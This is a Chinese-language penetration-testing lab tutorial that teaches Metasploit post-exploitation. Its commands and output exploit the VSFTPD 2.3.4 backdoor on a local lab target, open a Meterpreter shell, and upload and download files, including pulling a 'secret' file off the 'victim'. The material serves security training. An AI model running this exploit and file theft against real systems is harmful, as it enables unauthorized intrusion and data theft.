简介
在本实验中,你将学习使用 Metasploit 框架进行后渗透的基础知识。首先,你将通过利用一个存在漏洞的 FTP 服务器获取初始访问权限,从而建立一个 Meterpreter 会话。随后,你将进入后渗透阶段。该阶段的目标是探索受控系统、提升权限并窃取数据。
你将练习使用必要的 Meterpreter 命令来与会话进行交互、执行 Shell 命令,以及在攻击者和受害者机器之间传输文件。本实验将引导你从初始漏洞利用过渡到基础的后渗透技术。
获取初始访问权限
在此步骤中,你将通过利用 VSFTPD 2.3.4 服务中的后门来获取目标系统的访问权限。这将为你提供一个用于后渗透的 Meterpreter 会话。
首先,启动 Metasploit 框架控制台。
msfconsole -q
Metasploit 运行后,选择用于 VSFTPD 2.3.4 后门的漏洞利用模块。
use exploit/unix/ftp/vsftpd_234_backdoor
现在,配置目标和 Payload 选项。由于服务运行在同一台机器上,我们使用回环 IP 地址。默认的 Payload 需要 LHOST,如果出现 "All encoders failed to encode" 错误,请设置编码器以避免此问题:
set RHOSTS 127.0.0.1
set LHOST 127.0.0.1
set Encoder generic/none
最后,启动漏洞利用。
exploit
故障排除:如果你看到
Msf::OptionValidateError One or more options failed to validate: LHOST,请运行set LHOST 127.0.0.1。如果你看到All encoders failed to encode,请运行set Encoder generic/none。然后再次运行exploit。
警告:第一次尝试可能会失败,并显示 "Unable to connect to backdoor on 6200/TCP. Cooldown?" 或 "Exploit completed, but no session was created."。如果发生这种情况,只需再次运行
exploit命令即可——第二次尝试通常会成功。
如果成功,将打开一个 Meterpreter 会话(会话 1)。
[*] Started reverse TCP handler on 127.0.0.1:4444
[!] 127.0.0.1:21 - The port used by the backdoor bind listener is already open. Trying...
[+] 127.0.0.1:21 - Backdoor has been spawned!
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:xxxxx) at ...
meterpreter >
现在你已经拥有了一个 Meterpreter 会话。要返回 msf > 提示符以进行下一步,请按 Ctrl+Z,然后在询问 "Background session 1?" 时输入 y。
与 Meterpreter 会话交互
现在你已经在后台拥有了一个 Meterpreter 会话,接下来将学习如何与其交互。sessions 命令用于列出所有活动会话,且仅在 Metasploit 主提示符(msf exploit(...) >)下有效,在 Meterpreter 内部无效。
要查看活动会话,请运行:
sessions
你应该能看到 ID 为 1 的 Meterpreter 会话。
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/linux 127.0.0.1:4444 -> 127.0.0.1:xxxxx (127.0.0.1)
要与会话 1 交互,请运行:
sessions -i 1
你的提示符将变为 meterpreter >,表明你现在已进入该会话。
[*] Starting interaction with 1...
meterpreter >
你现在可以从 Meterpreter 内部运行后渗透命令了。
使用 shell 命令运行 Shell
在 Meterpreter 内部,你可以进入标准的系统 Shell 以在目标上运行命令。当你需要执行特定于 Shell 的命令或脚本时,这非常有用。
在 meterpreter > 提示符下,输入:
shell
一个标准 Shell 将在远程目标上打开。提示符可能会短暂卡顿,但你现在已经进入了系统 Shell,可以直接运行命令。
Process 1654 created.
Channel 1 created.
运行 whoami 以确认你的用户身份:
whoami
labex
输入 exit 返回到 Meterpreter 提示符。
exit
你的提示符将变回 meterpreter >。在下一步中,你将使用此会话将文件上传到目标机器。
使用 upload /local/path /remote/path 上传文件
Meterpreter 的 upload 命令可以将文件从本地机器传输到目标机器。在 /home/labex/project 目录下有一个名为 local_file.txt 的文件。将其上传到远程机器的 /tmp 目录。
在 meterpreter > 提示符下,运行:
upload /home/labex/project/local_file.txt /tmp/uploaded_file.txt
你将看到确认上传的输出:
[*] Uploading : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Uploaded -1.00 B of 48.00 B (-2.08%): /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
[*] Completed : /home/labex/project/local_file.txt -> /tmp/uploaded_file.txt
在本实验中,目标运行在同一台机器上,因此文件会出现在 /tmp/uploaded_file.txt。接下来,你将练习反向操作:从目标下载文件。
使用 download /remote/path /local/path 下载文件
download 命令可以将文件从目标机器传输到你的本地机器。远程系统 /tmp 目录下有一个名为 secret_data.txt 的文件。将其下载到你的项目目录中。
在 meterpreter > 提示符下,运行:
download /tmp/secret_data.txt /home/labex/project/downloaded_secret.txt
你将看到确认下载的输出。Meterpreter 可能会创建一个名为 downloaded_secret.txt 的目录,并将文件以 secret_data.txt 的名称放置在其中。
[*] Downloading: /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Downloaded 47.00 B of 47.00 B (100.0%): /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
[*] Completed : /tmp/secret_data.txt -> /home/labex/project/downloaded_secret.txt/secret_data.txt
文件现在已位于你的本地机器上。在最后一步中,你将关闭会话并验证下载的内容。
使用 exit 命令退出会话
在最后一步中,你将关闭 Meterpreter 会话并退出 Metasploit 控制台。
在 meterpreter > 提示符下,输入 exit 以关闭会话。
exit
[*] Shutting down session: 1
[*] 127.0.0.1 - Meterpreter session 1 closed. Reason: Died
要退出 Metasploit 控制台,请输入 exit。如果系统提示存在活动会话,请使用 exit -y 强制退出。
exit -y
验证下载的文件。如前所述,Meterpreter 可能创建了一个目录;文件位于 downloaded_secret.txt/secret_data.txt:
cat /home/labex/project/downloaded_secret.txt/secret_data.txt
This is a secret file from the victim machine.
恭喜!你已经完成了一个完整的漏洞利用和后渗透工作流程。
总结
在本实验中,你学习了从初始访问到后渗透的完整工作流程。你首先通过漏洞利用获取了一个 Meterpreter 会话。你练习了如何列出并与会话交互、从 Meterpreter 获取标准系统 Shell,并掌握了使用 upload 和 download 命令在攻击者和受害者机器之间传输文件。最后,你学习了如何正确关闭会话并退出 Metasploit 控制台。这些技能是渗透测试的基础。



